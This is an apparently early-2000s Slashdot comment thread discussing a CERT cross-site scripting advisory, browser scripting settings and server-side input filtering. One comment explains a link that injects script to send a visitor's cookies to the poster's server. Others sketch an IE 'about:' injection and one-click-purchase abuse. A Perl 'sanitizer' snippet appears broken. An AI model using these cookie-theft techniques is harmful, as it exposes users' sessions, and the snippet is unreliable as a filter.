Also, check all forms to make sure that the submit button is taking you to where you think it will.
These tricks are nothing new. And after it all, I probally won't change my browsing habits.
... but IE 5.0 does a pretty good job of handling this for expert users only.
IE divides the universe into four "zones": "Internet" (the default), "Trusted sites", "Restricted sites", and "Local intranet". (An explanation of the last would be really complicated.)
It's possible -- but not easy -- to designate certainly sites (e.g., *.yahoo.com) as trusted, with one set of policies for cookies and "active content" (Javascript and Active X), another set (e.g., *.doubleclick.net) with a much more restrictive policy, and the Internet (default) zone with fairly paranoid policies.
On the system I'm most paranoid about (the laptop I use for e-mail), every attempt to send persistent cookies or run Javascript is flagged, and permitted only if I say it is. (Hint: Slashdot runs just fine thank you without Javascript.) It's a pain in the tush, but scary enough to keep me at it.
I can deal with this. My mother couldn't. --PSRC
Stupid job ads, weird spam, occasional insight at
Consider Slashdot, for example.. you'll notice that it says Allowed HTML and has a list of permitted tags when you are posting. This is so that you don't do anything funny with javascript, forms, or even the blink tag (yuk).. any site that accepts input like this needs to scan for possible malicious tags.
One more concern I've seen is generic error message pages, where the error message is passed in using a GET type encoding on the URL line. This is so that admins don't have to make multiple pages for "password incorrect", "no username", "our database is down/broken", etc.. however a user can just change the error message that is passed in and possible include malicious tags in this. I'd recommend using error codes instead, that map to hard-coded error messages.
- Java and Javascript applets
- Macros attached to MS Office documents
- ActiveX "controls"
- "Foreign" active network applets running on "my" routers
- E-mail attached
.exe files
Examples of things that are not mobile code include:- computational functions migrating around a distributed cluster
- agents migrating around a LAN or a distributed virtual LAN
- vendor-supplied upgrades to a system
- duly authorized installation of new software
- Java applications that were explicitly installed to add functionality
By these definitions, I argue that mobile code presents far more threat than benefit. The "weak beneift" argument is that most of the benefit provided by mobile code comes in the form of dynamically interactive applets. The applets provide finer-grained interactivity with the user. This is strictly an ease-of-use issue, as the server must check everything that the appliet produces. The only applications where this actually matters is games, and people who give up security for gaming get what they deserverThe "major hazard" part comes from the difficulty of effectively confining an untrusted applet such that it gets controlled access to the client host workstation. The more complex the semantics of interpreting downloaded information, the more difficult it is to establish whether it is safe (cf recent discussion on firewall-wizards about whether CheckPoint FW1 is effectively stripping dangerous tags from HTML content). The more powerful the semantics of the downloaded information, the more able the adversary is to build attacks that escape static analysis by computing the actual attack code on the fly.
I think that powerful tools are required to enable administrators to enforce a ban on active content. These tools might include:
- a filter that can strip macros from MS Office documents
- firewalls and browsers that detect active content (Java, Javascript, ActiveX, MS Office macros, etc.) and send back an e-mail to postmaster@originating.site explaining that their active content has been stripped, and they had best prepare documents and web pages that work without the active content.
That last tool is an especially powerful thing that the open source community can do to try to smarten up giddy web developers who think that every new feature to come along is just so cool that it must be used. To make the web safe to surf, we need to push back against the goobers who ware re-defining HTML to require scripting to make a site usable.I think the original poster was trying to say something a bit different.
The Scenario: I, malicious content poster and author of evil pseudoscientology books, post a perfectly normal looking URL that actually links to the URL for the one-click 'buy this' stuff.
You, innocent reader and user of Amazon's one-click shopping, decide to follow my link. Next thing you know, you've purchased my book and I get royalties. You already had the Amazon cookie on your machine because of pash purchases. I wasn't trying to get you to pay for something that ended up in my hands, I was merely trying to get you to PAY for something.
I'm not an Amazon frequenter, so I don't know what the URLs look like or if this is even possible.. I'm just clarifying the original poster's suggestion.
Basically, all clients and all Web servers are affected by this problem
:o)
Well, in a word, no.
Apache, MS, and Sun's server products are affected by this, but that's hardly every web server.
Roxen is not affected, as by default it dequotes all input sent by a client. If explicitly requested, the web page author can get the raw data, but by default, the designer doesn't have to worry about it. (This is one of my favourite features of Roxen
Co-incidentally (or perhaps not), Roxen is the web server used by Securityfocus.com (the administrators of BugTraq)
Websites that are totally unusable without scripting will begin to feel some pressure to clean up their acts.
Obviously most "major" sites don't give a rat's ass if they piss off or exclude a few geeks who get all 'paranoied' about security - or worse yet, run some non Win OS or some non IE/NS browser. (OT: don't get me started on the ones that require flash)
We can only hope that if 'joe average' starts disabiling scripting and complaing about all the sites that no longer work, maybe, just maybe, the web will become a bit more 'geek-friendly'
EOR
- bridgette
Siemens has developed a free-for-non-commercial-use small webproxy designed to be installed on either a client machine or server (Win98/NT/2K only mind you). It has lots of configurable options including eliminating popups and graphics of user-definable sizes (provided the IMG links contain HEIGHT and WIDTH attributes the proxy doesn't even load them). I have used it for a year now and I am very happy with it. Speeds up the browsing and reduces visual noise.
Go to http://www.webwasher.de (English site). A separate company called Webwasher.com AG now promotes it, but it was originally designed by Siemens.
"There is no substitute for thinking" - Bjarne Stroustrup
I don't think any experienced users will have any problems with this. Anything you put in the comments will show up when the mouse cursor is over the document (well, not in lynx, but you get the idea) so you see the link location, in this case you'll see code. It's also interesting to note that IE has the additional insecurity that you can actually EMBED HTML CODE DIRECTLY INTO THE HYPERTEXT LINK ITSELF using "about:". For some strange reason, if you click on an like that starts with "about:", instaed of an actual website, IE will echo all that information back as if it were a webpage (including parsing of any HTML). An example? IE users paste (slashdot won't let me actually post it as a hyperlink, which is good) this url in their browser "about://(html)(head)(title)hi(/title)(/head)(p)Hi all you crazy IE users(/p)(/html) and replacing all the ('s and )'s with greater than and less than signs.
NOTE: I'm pretty sure it was about: that caused this unusual effect(it might have been something else, I don't have IE handy to test with). If it's something else, someone else can respond and correct me. (its been over a year since I discovered this, I sent it bugtraq, but it was never posted and according to the moderator this was a well-known thing, which I'm sure it is)
Frankly, I think this kind of notice is totally
irresponsible on the part of CERT. This is exactly the kind of news that the media loves to latch onto and turn into all kinds of sensational press. CERT actually recommends in their notice that users disable all scripting in their browsers! There may well be a security issue here, but that does not justify risking a major consumer panic... Scripting is a key feature of almost every interesting site these days-- even the one's that don't do a ton of stuff on the client side have nice "mouseovers" to allow friendly messages for the user at the bottom of the screen.
Following CERT's recommendations amounts to disabling a vast part of the web's functionality entirely. They should have cooperated with other authorities on the web to publish this information in a more sensible manner. Doing things this way just draws attention to a problem that can be solved inside of the engineering circle and without bugging the consumer.
Just my two cents...
The only way we can reliably fix this hole is for all of us running servers to remove trust of clients -- we can't depend on clients to disable scripting or cookies.
And that is really the key. Not only can we not depend on them to disable scripting and cookies, we SHOULD NOT depend on them to do so... It makes all the "good guys" lives that much more difficult when they can't take advantage of the neat technologies available to users just because there are those out there abusing them.
IMHO, most of this problem could be solved by having smarter browsers. Granted, it is a difficult problem, but what is this about ActiveX controls allowing you to reformat a hard drive!? That is utterly ridiculous. I can't believe that any browser manufacturer would even consider allowing this kind of access to the underlying OS (and I actually _like_ IE).
My proposal:
1) Make it a no-brainer for the consumer... Don't bother them at all unless there is a genuine crisis. Exploitable security holes are only genuinely a crisis if they do something worse than crash a machine-- which happens a lot anyways to those of us who aren't running "real" operating systems.
2) Make it almost a no-brainer for the developer. I should have to think about invalid input from the user, definitely. But I shouldn't have to worry about buffer overrun errors and the like... The subsystems I develop on should be robust.
3) Make it the browser developer's job to keep the system safe from the Web. The browser is our "window" into the web. Thus, IT should filter the nasties that might come in...
On a related note, the "digital wallet" mechanism doesn't generate enough data to log the transaction properly at the consumer end. Despite the fact that XML was designed to do exactly that sort of thing, the "digital wallet" system is one-way. You don't get the equivalent of a credit card receipt in XML for your transaction. The way this ought to work is that your wallet is sent an XML invoice and if the user accepts it, a signed XML purchase order with payment info and amount being paid is returned, after which a signed XML purchase information confirmation should come back, get checked against the payment info sent, and get logged into the wallet. That would provide proper accounting controls for the consumer, like physical credit card receipts. But no, that's not how it works. It just sends your credit card info somewhere when you click.
Remember, when you browse someone's site, you browse every site that person has browsed...
This is not a new discovery, in fact, we released an advisory about it in December of 1998. The advisory can be found here: http://www.caughq.org/files/pub/A dvisories/000005. This advisory was sent at the time of release to Yahoo, who promptly fixed their search engine, and was also sent to the BugTraq mailing list where it was promptly denied posting because "This isn't a hack." This has been around for quite a long time, I guess it just takes a CERT advisory to make people take notice.
NOTE: This is a duplicate post, the original was posted in reply to the wrong post
Am I the only one who said "well, geez, that's obvious, a monkey could have figured that out". The issue is just people being smart about how they handle user provided input. We've all seen this sort of stuff for a long time, so it surprises me that CERT would issue a warning on something like this.
Just don't be a bonehead when writing your stuff. Strip out all tags then apply them again later if needed.
$_ =~ s/</</g;
$_ =~ s/>/>/g
$_ =~ s/<\s*\/?b\s*>/<b>/gi;
This strips out all HTML tags except for properly formatted <B> and </B> tags.
Grow a brain. It helps.
My Slashdot account is old enough to drink...
I hope you don't mind my explaining what the link would do if someone actually clicked it. This is an absolutely brilliant demonstration of the security hole. The link works like this:
- the standard <A HREF= "" opening, followed by
- an http...slashdot page which I assume is bogus.
- Without closing the HREF, Mark then included a <script> tag, with the
- location set to his server's printenv as the target, and the
- document.cookie (for
/.) as part of the contents of the http request header which this script would send. - Then he closed the script tag, (</SCRIPT>) then the HREF.
Absolutely brilliant. Like he said: DO NOT FOLLOW THIS LINK...Open Source isn't the only answer -- but it's almost always a better value than the alternatives...
Apache has also put up an advisory of sorts, CSS Cross Site Scripting Info. They make several valid points; this is my favorite:
CERT has a collection of helpful stuff up about Understanding Malicious Content Mitigation for Web Developers.
(Disclaimer: This post is guaranteed to be free of malicious HTML tags embedded in client web requests by the author)
Eli the Bearded posted a perl script to alt.hackers recently that edits the Netscape binary and disables certain Javascript "features".
If you don't read alt.hackers or have no idea what a really cool hack that is, then fire up whatever browser the Linux Lemmings are using this week and go to DejaNews. (I don't recall whether his article has an X-No-Archive header in it or not, YMMV.)
You cannot apply a technological solution to a sociological problem. (Edwards' Law)
DAMNIT. Netscape caught me out with that Opera floozy again. Let alone Mozilla . . . that's like doinking your partner's sibling!!!! And who KNOWS what sort of disease I'll pick up with IE . . . . .
Bad things often happen to good people,
It is up to them to see that they remain good.
I added a request for this in bugzilla. It is Bug #26272. If you have some spare browser-component votes, vote for it. If you don't have a (free) bugzilla account yet, get one.
---
Oper on the Nightstar
Do not follow this link. Warning: it will send any slashdot cookies that you have (ie. if you are logged in) to my web server, where they will be logged in the logs. The cookies will appear as the query string for printenv. No one else has access to the machine and I will not do anything with them, but can you trust me? But, if you are confident it can't be done, you have nothing to worry about. Javascript has to be enabled for this to work. Most of the people dismissing this problem don't realize the implications. (the link should come out properly, at least it previews right, but getting the right chars in there can be tricky sometimes...) DO NOT FOLLOW THIS
I think that CERT is pointing fingers at the wrong people here. Relying on the site provider to filter hostile code from messages is naive and foolish. If a website can execute hostile code, someone WILL make a website to do it anyway.
Browsers should not execute harmful code in the first place. Any code beyond trivial JavaScript needs to be cryptographically signed and then verified before being executed. Clients should warn if the code has not been signed with the certificate of the document owner (provided through a metatag [ yes i know this doesn't verify the document owner's identity ] ) itself. Pages should have the option of passing a metatag like "DisAllowTags 'IMG FONT SCRIPT EMBED'" to keep clients from attempting to parse certain tags and possibly execute code.
Although I have placed most of the blame on the browser, let me say that the client should not be the only line of defense. Servers that allow posting of external HTML should certainly filter images and scripted content.
I did like CERT's points about SSL and cookie poisoning. Has anyone generated proof of concept code or heard of this being exploited?
That's my $0.02. I'd like to hear opinions on providing
Life's a bitch but somebody's gotta do it.
This one really took me by surprise as a web developer. I have to admit that it had never occurred to me not to trust the client in this manner (although there's nothing on any of my sites that would be capable of being abused in this way).
But considering the number of dynamic sites that are being thrown up on a regular basis, especially with folks adding messageboards as quickly as possible in hopes of building a "community", i suspect this failure is present on a lot of large sites.
For those who aren't reading the advisory, it essentially says that sending a malicious link (a link that puts code in the input strings) to someone could cause a server to return that malicious code, assuming that the client sent it knowingly.
Needless to say, a lot of folks who don't pay attention to status bars and address bars could fall prey to all sorts of exploits based on this that don't require "running" anything on the client machine that a typical security app could catch. The only way we can reliably fix this hole is for all of us running servers to remove trust of clients -- we can't depend on clients to disable scripting or cookies.
Recursive: Adj. See Recursive.
Sure, you can run arbitrary Javascript if you use links. Here's a (safe) example.
Browsers should never have been made to have only one JavaScript option: on or off.
You ought to be able to limit your JavaScript functionality in many different ways. I browse with JavaScript off all the time, to prevent automatic pop-ups, but I have to turn it back on because so many sites just don't work with JavaScript turned off (often for no good reason: JavaScript links instead of HTML links, for example).
Desperately needed JavaScript options are:
-no pop-ups (display pop-up requests in a dedicated widget)
-no clickless redirection (display as links in a pseudo-frame or with a dedicated widget)
With these, I could happily browse all sites with the same settings.
I can't think of any others yet (I think they depend on the specific environment; aren't there some real security hazards?), but I'm sure there are more. What am I missing?
(aside from JavaScript, turning off all animations is another much-needed option)
When "one-click" shopping from Amazon came out, I was concerned because of the security aspects, and this warning seems to cover one of the possible ways that it could be abused. AFAIK, when at amazon, if you have OneClickShopping turned on, it sends the cookie when you click on a url and you buy the product without any further confirmation.
However, because of the non confirmation aspect, what is to stop someone sending/posting a message which includes a image link to that "buy" url? Unless Amazon have a security check to stop this, it would be the ultimite spam email - everyone who read it would buy your product!
Can someone confirm/check if there are safeguards (eg referrers) that stop this simple abuse of OneClickShopping?
--
Exigo spamos et dona ferentes
OK folks, now we really need our browsers to have heavy-duty cookie control, IP filtering, and perhaps even some Java, JS and html "smell-checking".
I for one would like to see antibookmarks. Control-click on a banner, that server is blocked. Surf into a trap website, hit an fkey, add its domain to a killfile.
Websurfing is supposed to be promiscuous; that's the idea, I thought. (No pr0n jokes, OK?)
That's right, you should not engage in promiscuous browsing on sites you hardly know. If you do, you should practice safe surfing and use an HTTProphylactic.
(Look ma! I can spell "prophylactic"! Can you believe the college man said I was dumb because I couldn't make a Lego robot?)
-- In the future, everyone will code Perl for 15 minutes. --